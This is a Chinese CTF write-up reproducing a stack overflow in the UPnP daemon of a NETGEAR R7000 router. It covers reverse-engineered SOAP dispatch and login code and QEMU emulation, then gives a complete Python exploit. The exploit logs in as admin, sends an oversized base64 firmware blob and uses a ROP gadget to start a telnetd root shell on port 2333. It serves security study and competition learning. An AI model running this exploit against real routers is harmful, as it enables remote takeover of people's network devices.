长亭百川云 - 文章详情

西湖论剑-Upnp WriteUp

RainSec

45

2024-07-13

前言

=====

  这次应该是以一个NETGEAR R7000路由器的nDay为基础出的题,当时还在想是不是要挖上面的UPnP的0Day,没有意识到需要进行信息收集找相关漏洞分析。后面放出提示才意识到思路错了,在No Hardware, No Problem: Emulation and Exploitation (grimm-co.com)中所提到的漏洞就是这次题目的目标

  后面自己又仔细看了看UPnP的协议,再来复现这个题目

漏洞定位

  通过提示SOAP firmware upgrade checking ... 附近和文章提到的漏洞位置,在upnp服务端的固件更新逻辑部分出现了溢出,后面也是通过字符串索引定位到了溢出位置:

  在进行memcpy时没有对大小v9进行限制,而v9是通过传入的固件中的数据所计算出来的,即v9可控那么这里就会造成栈溢出;这个漏洞很简单但是问题来了:这个UPnP功能定义在哪?怎么触发?(即逆向回溯)

逆向

  根据一般的UPnP协议,其提供的服务都会在.XML文件中写明,但是在www文件加下搜索firmware update相关字符串毫无结果。所以这个固件更新功能是内部API,也许其用法写在开发文档中,那么只能逆出调用该API的UPnP数据包格式。虽然是个内部API但是估计也是基于UPnP control包的格式开发的:

  那么对SOAPACTION交叉索引定位到如下函数:

  显然这是用来对http包中的SOAPACTION定位的,那么继续查看调用该函数的地方(对于不同URL提供不同服务,很有可能存在一个集中处理URL的位置):

  前面几个Public_UPNP_Cx是有对应XML描述文件的,但是soap/server_sasoap/server_sa/opendns这两个URL是没有任何描述文件的,所以估计在sub_41900中实现了内部API,经过动调分析其函数签名为:sub_41900(int http, int int_fd, in_addr_t in_addr, int pass),http指向客户发送的http数据,int_fd则是交互socket,in_addr为客户ip,pass暂未分析出来。下面分析该函数中重点部分

服务遍历

  程序维护了一个内部服务名列表,每个最长30字节,一共11个服务;根据SOAPAction字段所指定的服务名获取对应列表下标:

  v11 = stristr(http_v4, "SOAPAction:");  
  if ( !v11 )  
    return -1;  
  v12 = aDeviceinfo;                            // parentalcontrol: index == 7  DeviceConfig: index == 1  
  action_v13 = v11 + 11;  
  while ( 1 )                                   // travel 11 internal serverName  
  {  
    ServerNamePTR = v12;  
    v14 = strchr(action_v13, '\r');  
    v15 = v14 - action_v13;  
    if ( v14 )                                  // action length <= 127  
    {  
      if ( v15 > 126 )  
        v15 = 127;  
    }  
    else  
    {  
      v15 = 127;  
    }  
    strncpy((char *)&v93, action_v13, v15);  
    v101 = 0;  
    v16 = stristr((const char *)&v93, v12);  
    v12 += 30;  
    if ( v16 )  
      break;  
    if ( ++v8 == 11 )  
    {  
      serverIdx = -1;  
      goto LABEL_14;  
    }  
  }  
  serverIdx = v8;

  内部服务有:DeviceInfo,DeviceConfig,WANIPConnection,WANEthernetLinkConfig,LANConfigSecurity,WLANConfiguration,Time,ParentalControl,AppSystem,AdvancedQoS,UserOptionsTC

SOAPAction字段构成为:urn:NETGEAR-ROUTER:service:{ServerName}:1#{ActionName}

用户验证

  cookie = stristr(http_v4, "Cookie:");  
  v21 = stristr(http_v4, "SOAPAction:");  
  if ( v21 && *(v21 - 2) == '\r' && *(v21 - 1) == '\n' && (a1 = v21, v41 = strchr(v21, *(v21 - 2)), (v42 = v41) != 0) )  
  {  
    *v41 = v20;  
    login = stristr(a1, "service:DeviceConfig:1#SOAPLogin") == 0;// service:DeviceConfig:1#SOAPLogin  
    *v42 = '\r';  
  }  
  else  
  {  
    login = 1;  
  }  
  if ( cookie )  
    login_v23 = login;  
  else  
    login_v23 = 0;  
  if ( !login_v23 || (v91 = strchr(cookie, '\r')) == 0 )// if logined  
  {  
Login_63:  
    Addr_EB9C8 = 0;  
    v43 = inet_ntoa((struct in_addr)int_addr_v6);  
    strcpy(&Addr_EB9C8, v43);  
    v44 = inet_ntoa((struct in_addr)int_addr_v6);  
    v45 = (const char *)acosNvramConfig_get((int)"lan_ipaddr");  
    if ( strcmp(v44, v45)  
      && (strncmp(action_v13, " urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate", 0x3Au)  
       && strncmp(action_v13, " \"urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate\"", 0x3Cu)  
       || serverIdx != 7)  
      && (strncmp(action_v13, " urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin", 0x34u)  
       && strncmp(action_v13, " \"urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\"", 0x36u)  
       || serverIdx != 1) )  
    {  
      v94 = 0;  
      v95 = 0;  
      v96 = 0;  
      v97 = 0;  
      v98 = 0;  
      v99 = 0;  
      v100 = 0;  
      v93 = 0;  
      memset(&s, 0, 0x80u);  
      v46 = fopen("/tmp/opendns_auth.tbl", "r");  // login recoder  
      if ( v46 )  
      {  
        getMacList((int)&v93);  
        while ( fgets(&s, 128, v46) )  
        {  
          if ( strstr(&s, (const char *)&v93) )  
          {  
            fclose(v46);  
            goto Dofunc_34;       // if the user`s mac_addr in the recode list then don't need check  
          }  
        }  
        fclose(v46);  
        resp_state = 401;  
        return respond(0, 0x20000, XMLBODY, int_fd_v5, resp_state);  
      }  
      goto Unauthor_61;  
    }  
    goto Dofunc_34;  
  }  
  *v91 = 0;  
  v24 = strstr(cookie, "sess_id=");  
  if ( !v24 )  
  {  
    *v91 = 13;  
    goto Login_63;  
  }  
  sessPtr = v24 + 8;  
  v26 = strchr(v24 + 8, ';');  
  if ( v26 )  
  {  
    *v26 = 0;  
    v27 = v26;  
    v28 = sessConfirm(sessPtr, (const char *)&v93, int_addr_v6);  
    *v27 = 59;  
  }  
  else  
  {  
    v28 = sessConfirm(sessPtr, (const char *)&v93, int_addr_v6);  
  }  
  if ( !v28 )  
    goto Unauthor_61;  
Unauthor_61:  
    resp_state = 401;  
    return respond(0, 0x20000, XMLBODY, int_fd_v5, resp_state);  
  }

  验证策略由cookie验证和login验证组成,其中Cookie格式为:sess_id=???????; SameSite=Strict。部分服务提供mac验证,不需要Cookie;在sessConfirm函数中验证session_ID,其内部维护了session列表。

login

  Cookie中的session ID是通过第一次调用login服务得来的,在sub_41900->processAction中调用不同服务对应的不同action:

Docontrol_35:  
  if ( serverIdx == -1  
    || (v29 = ServerNamePTR,  
        printf("%s()\n", "sa_saveXMLServiceType"),  
        memset(soapAction, 0, 100u),  
        (v30 = stristr(http_v4, "urn:")) == 0)  
    || (v31 = stristr(v30 + 4, ":")) == 0  
    || (v32 = stristr(http_v4, v29)) == 0 )  
  {  
Unauthor_61:  
    resp_state = 401;  
    return respond(0, 0x20000, XMLBODY, int_fd_v5, resp_state);  
  }  
  v33 = strlen(v29);  
  strcat(soapAction, "urn:NETGEAR-ROUTER");  
  v34 = strlen(soapAction);  
  memcpy(&soapAction[v34], v31, &v32[v33] - v31);  
  strcat(soapAction, ":1");  
  printf("sa_service_type_buf=%s\r\n", soapAction);  
  flag_v35 = ifSSL;  
  if ( ifSSL )  
    flag_v35 = 1;  
  v36 = processAction(flag_v35, serverIdx, http_v4, int_fd_v5, pass_v7, (char *)int_addr_v6);  
  if ( v36 > 1 )  
  {  
    resp_state = v36;  
    return respond(0, 0x20000, XMLBODY, int_fd_v5, resp_state);  
  }

  在processAction函数中主要通过一个switch case来调用不同action,在isNameiMatch(const char *keySrc, int key_idx)中根据kei_idx在action列表查对应action名(同样),然后在对比keySrc(即http data)中是否指定了该action,如果是返回1。

serverIdx_v6 = serverIdx;  
http_v7 = http;  
flag_a1 = ifssl;  
fd = int_fd;  
in_addr_v8 = in_addr;  
printf("%s():type=%d\n", "sa_processResponse", serverIdx);  
switch ( serverIdx_v6 )  
{  
    case 0:  
        if ( isNameiMatch(http_v7, 0) == 1 )  
            goto LABEL_251;  
        if ( isNameiMatch(http_v7, 19) == 1 )  
        {  
            key_idx = 19;  
            flag_v12 = -1;  
            goto LABEL_252;  
        }  
        {...}  
}  
/*  
.data:00083B88 ; specialAction ActionList[400]  
.data:00083B88 ActionList      DCD 0, 0x49BB8, 1, 0x47F68, 2, 0x49BC0, 3, 0x49BD4, 4  
.data:00083B88                                         ; DATA XREF: GotName:loc_2A91C↑o  
.data:00083B88                                         ; .text:off_2A960↑o  
.data:00083B88                 DCD 0x48578, 5, 0x49BE8, 6, 0x49BFC, 7, 0x49C10, 8, 0x49C18  
.data:00083B88                 DCD 9, 0x49C24, 0xA, 0x49C30, 0xB, 0x49C3C, 0xC, 0x49C4C  
.data:00083B88                 DCD 0x9B, 0x49C60, 0xD, 0x49C78, 0xE, 0x49C88, 0xF, 0x49C9C  
.data:00083B88                 DCD 0x10, 0x49CA8, 0x11, 0x49CB8, 0x12, 0x49CC8, 0x13  
.data:00083B88                 DCD 0x49CD8, 0x14, 0x49CF4, 0x15, 0x49D0C, 0x16, 0x49BB8  
.data:00083B88                 DCD 0x17, 0x49BB8, 0x18, 0x49BB8, 0x19, 0x49BB8, 0x1A  
.data:00083B88                 DCD 0x49D24, 0x1B, 0x49D34, 0x1C, 0x49D44, 0x1D, 0x49D58  
.data:00083B88                 DCD 0x1E, 0x49D68, 0x1F, 0x49D7C, 0x20, 0x49D8C, 0x21  
.data:00083B88                 DCD 0x49D9C, 0x22, 0x49DB0, 0x23, 0x49DC4, 0x24, 0x49DD8  
.data:00083B88                 DCD 0x25, 0x49DF0, 0x26, 0x49E0C, 0x27, 0x49E14, 0x28  
.data:00083B88                 DCD 0x49E28, 0x29, 0x49E34, 0x2A, 0x48250, 0x2B, 0x49E40  
.data:00083B88                 DCD 0x2C, 0x49E54, 0x2D, 0x49E6C, 0x2E, 0x49E80, 0x2F  
*/

  upnp的login action名为SOAPLogin,属于DeviceConfig服务,action下标为197:

if ( key_idx != 197 )  
    goto LABEL_264;  
v54 = stristr(http_v7, "<Username");// login check  
v55 = v54;  
if ( v54 )  
{  
    v55 = stristr(v54, ">");  
    if ( v55 )  
    {  
        v56 = stristr(http_v7, "</Username>");  
        if ( v56 )  
        {  
            *v56 = 0;  
            v57 = v56;  
            v55 = (char *)acosNvramConfig_match("http_username", v55 + 1);// what is the original 'http_username' ?  
            *v57 = '<';  
        }  
        else  
        {  
            v55 = 0;  
        }  
    }  
}  
v58 = stristr(http_v7, "<Password");  
if ( !v58 )  
    goto LABEL_836;  
a3 = stristr(v58, ">");  
if ( !a3 )  
    goto LABEL_836;  
v59 = stristr(http_v7, "</Password>");  
if ( !v59 )  
    goto LABEL_836;  
*v59 = 0;  
v77 = v59;  
*(_DWORD *)v82 = 0;  
memset(&v83, 0, 0x7Cu);  
doHash(a3 + 1, v82, a3, v60);       // passwd stored in SHA256 format  
v61 = acosNvramConfig_match("http_passwd_digest", v82);  
v62 = v61 == 0;  
if ( v61 )  
    v62 = v55 == 0;  
*v77 = 60;  
if ( !v62 )                         // account right  
{  
    sub_31CDC((int)&v99, (in_addr_t)in_addr, 0);// generate cookie  
    v63 = sub_32014((signed int)&v99, (int)in_addr);  
    if ( v63 <= 0 )  
        v63 = 503;  
    resp_state = v63;  
}

  需要在发送的http包中指定<Username>Name</Username><Password>Passwd</Password>,登录成功后将session_ID在响应包中发送。在模拟启动环境发送登录包将获得如下响应包:

def SOAPLogin(http_username: str, passwd: str) -> str:  
    header = {  
        "SOAPACTION": "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin"  
    }  
    body = '<?xml version="1.0"?>\r\n'  
    body += '<Username>admin</Username>\r\n'  
    body += '<Password>admin</Password>\r\n'  
  
    respnd = requests.post(url=URL, headers=header, data=body)  
    cookie = respnd.headers.get('Set-Cookie')  
    print(cookie)  
    return cookie

模拟启动

  qemu配置如下:Index of /~aurel32/qemu/armhf (debian.org)

#!/bin/bash  
  
qemu-system-arm -M vexpress-a9 \  
    -kernel vmlinuz-3.2.0-4-vexpress \  
    -initrd initrd.img-3.2.0-4-vexpress \  
    -drive if=sd,file=debian_wheezy_armhf_standard.qcow2\  
    -append "root=/dev/mmcblk0p2 console=ttyAMA0" \  
    -net user,hostfwd=tcp::2222-:22,hostfwd=tcp::5555-:5555,hostfwd=tcp::5000-:5000 -net nic \  
    -nographic

  因为程序中大量调用nvram的系列函数,所以使用https://github.com/grimm-co/NotQuite0DayFriday.git提供的hook源码编译一个hook库(根据IDA可知nvram函数的实现在\`libnvram.so\`中),然后传入qemu中替换\`usr/lib/libnvram.so\`。尝试启动结果如下

root@debian-armhf:~# cd squashfs-root/  
root@debian-armhf:~/squashfs-root# mount --bind /proc ./proc  
root@debian-armhf:~/squashfs-root# mount --bind /dev ./dev/  
root@debian-armhf:~/squashfs-root# chroot . ./bin/busybox sh  
  
  
BusyBox v1.7.2 (2021-08-26 10:32:44 CST) built-in shell (ash)  
Enter 'help' for a list of built-in commands.  
  
#/usr/sbin/upnpd  
Getting upnp_turn_on  
Getting upnp_turn_on  
Getting lan_ipaddr  
Getting upnp_turn_on  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting hw_rev  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting upnp_turn_on  
open: No such file or directory  
Getting upnp_turn_on  
Getting lan_hwaddr  
Getting lan_hwaddr  
Getting upnp_turn_on  
Getting lan_ipaddr  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting hw_rev  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting upnp_turn_on  
open: No such file or directory  
Getting upnp_turn_on  
Getting lan_hwaddr  
Getting lan_hwaddr  
Getting upnp_turn_on  
Getting lan_ipaddr  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting hw_rev  
Getting upnp_turn_on  
Getting friendly_name  
Getting upnp_turn_on  
Getting upnp_turn_on  
open: No such file or directory  
Getting upnp_turn_on  
Getting lan_hwaddr  
Getting lan_hwaddr  
Getting upnp_turn_on  
Getting lan_ipaddr  
Getting upnp_duration  
Getting upnp_duration  
Getting upnp_duration  
Getting upnp_duration  
Getting upnp_duration  
Getting upnp_duration  
Getting upnp_duration  
Getting upnp_duration  
Setting upnp_portmap_entry = 0  
Getting upnp_turn_on  
Getting lan_ipaddr  
Getting lan_ipaddr

  程序在main函数中调用了daemon进入后台,所以不方便直接gdb调试,因此为了后面分析这里需要NOP掉;然后就是直接运行发现后面立马exit(0)。nop掉daemon后进去调试发现在调用setsockopt(v5, 0, 35, &optval, 8u)加入多播地址出错

google了一下这个问题发现是qemu自身不支持多播协议:

但是这里关键在于upnp程序的控制服务和多播功能关系不大,因此选择将修改下面的跳转为无条件跳转:

然后就可以维持运行了:

需要的就是这两个端口

Exploit

  与login的action调用类似,固件更新的action名为SetFirmware,同样属于DeviceConfig服务下标为60,主要逻辑如下:

  v130 = v7 == 0xFF13;  
  dword_EC044[19 * v83] = 0xFF3B;  
  firmdataDecry = (char *)malloc(0x400000u);  
  v24 = (unsigned __int8 *)firmdataDecry;  
  if ( !firmdataDecry )  
  {  
    v2 = 603;  
    printf("No memory buffer %d for using in %s\n", 0x400000, "sa_setFirmware");  
    goto LABEL_101;  
  }  
  base64Decode(firmdataDecry, &v130, (unsigned __int8 *)firmdataCry);  
  printf("sa_base64_decode, len=%d\n", v130);  
  v25 = v24[7];  
  printf("SOAP firmware upgrade checking ... ");  
  if ( checker(v24) )                           // stack overflow  
  {  
    v2 = 702;  
  }  
/*checker part*/  
    v4 = *((unsigned __int8 *)v1 + 38);  
    v5 = *((unsigned __int8 *)v1 + 5);  
    v6 = *((unsigned __int8 *)v1 + 37);  
    v7 = *((unsigned __int8 *)v1 + 7) + (*((unsigned __int8 *)v1 + 4) << 24) + (*((unsigned __int8 *)v1 + 6) << 8);  
    v8 = *((unsigned __int8 *)v1 + 39) + (*((unsigned __int8 *)v1 + 36) << 24);  
    *((_BYTE *)v1 + 36) = 0;  
    *((_BYTE *)v1 + 37) = 0;  
    len = v7 + (v5 << 16);  
    *((_BYTE *)v1 + 38) = 0;  
    *((_BYTE *)v1 + 39) = 0;  
    v10 = v8 + (v4 << 8) + (v6 << 16);  
    memset(&v13, 0, 0x64u);  
    memcpy(&v13, v1, len);  
    calculate_checksum(v3, v3, v3);   
/*  
.data:000841C8 ; specialArg ArgList[]  
.data:000841C8 ArgList         DCD 0xFF00              ; DATA XREF: sub_F39C+28↑o  
.data:000841C8                                         ; sub_F39C+60↑o ...  
.data:000841CC off_841CC       DCD aNewenable          ; DATA XREF: firmStuff+58↑r  
.data:000841CC                                         ; "NewEnable"  
.data:000841D0 dword_841D0     DCD 1                   ; DATA XREF: firmStuff+60↑r  
.data:000841D4                 DCD 0xFF01  
.data:000841D8 off_841D8       DCD aNewconnectiont     ; DATA XREF: firmStuff+2DC↑r  
.data:000841D8                                         ; "NewConnectionType"  
.data:000841DC dword_841DC     DCD 0x10                ; DATA XREF: firmStuff+2E4↑r  
.data:000841E0                 DCD 0xFF02  
.data:000841E4                 DCD 0x4AB1C  
.data:000841E8                 DCD 0x40  
  
*/

  可以在参数列表中找到该action的参数label为<NewFirmware>FirmData</NewFirmware>;其中发送的firmData是base64加密过的,这里在构造firmware数据时注意不要造成memcpy的len太大否则在memcpy就可能出现段错误,但无法利用(这中copy函数的长度问题在iot中经常遇到)。构造包溢出后结果如下:

  得到偏移如下:

  因为开启了NX保护所以rop构造system(cmd),在arm架构下控制r0~r3的gadgets很少,但是在程序中调用system函数的附近找到如下指令:

2F134                 MOV             R0, SP  ; command  
2F138                 BL              system

  那么就可以在176偏移处存放cmd,然后168处存放2F134地址即可。Exp如下:

import sys, base64, requests, struct  
  
URL = 'http://localhost:5000/soap/server_sa'  
  
  
def SOAPLogin(http_username: str, passwd: str) -> str:  
    header = {  
        "SOAPACTION": "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin"  
    }  
    body = '<?xml version="1.0"?>\r\n'  
    body += '<Username>admin</Username>\r\n'  
    body += '<Password>admin</Password>\r\n'  
  
    respnd = requests.post(url=URL, headers=header, data=body)  
    cookie = respnd.headers.get('Set-Cookie')  
    print(cookie)  
    return cookie  
  
def SetFirmware(cookie: str):  
    header = {  
        "SOAPACTION": "urn:NETGEAR-ROUTER:service:DeviceConfig:1#SetFirmware",  
        "Cookie": f'{cookie}'  
    }  
    firmData = b'*#$^' + b'\x00' + b'\x00' + b'\x01' + b'\x00'  
    firmData += b'A'*144  
    firmData += b'4'*4      #r4  
    firmData += b'5'*4      #r5  
    firmData += b'6'*4      #r6  
    firmData += b'7'*4      #r7  
    firmData += b'8'*4      #r8  
    firmData += b'9'*4      #r9  
    firmData += b'a'*4      #r10  
    """ROP for system(ANY_cmd)  
    2F134                 MOV             R0, SP  ; command  
    2F138                 BL              system  
    """  
    firmData += struct.pack('<I', 0x2F134)      #PC  
    firmData += b'/usr/sbin/telnetd -p2333 -l/bin/sh &'  
  
    body = b''  
    body += b'<s:Body>\r\n'  
    body += b'<NewFirmware>%s'%(base64.b64encode(firmData))  
    body += b'</NewFirmware>'  
    body += b'</s:Body>\r\n'  
      
  
    respn = requests.post(url=URL, headers=header, data=body)  
    print(respn.text)  
  
if __name__ == '__main__':  
    cookie = SOAPLogin('admin', 'admin')  
    SetFirmware(cookie)

小结

  先了解一个程序的服务架构方便定位其易出问题的地方

参考

  • • No Hardware, No Problem: Emulation and Exploitation (grimm-co.com)

  • • Index of /~aurel32/qemu/armhf (debian.org)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2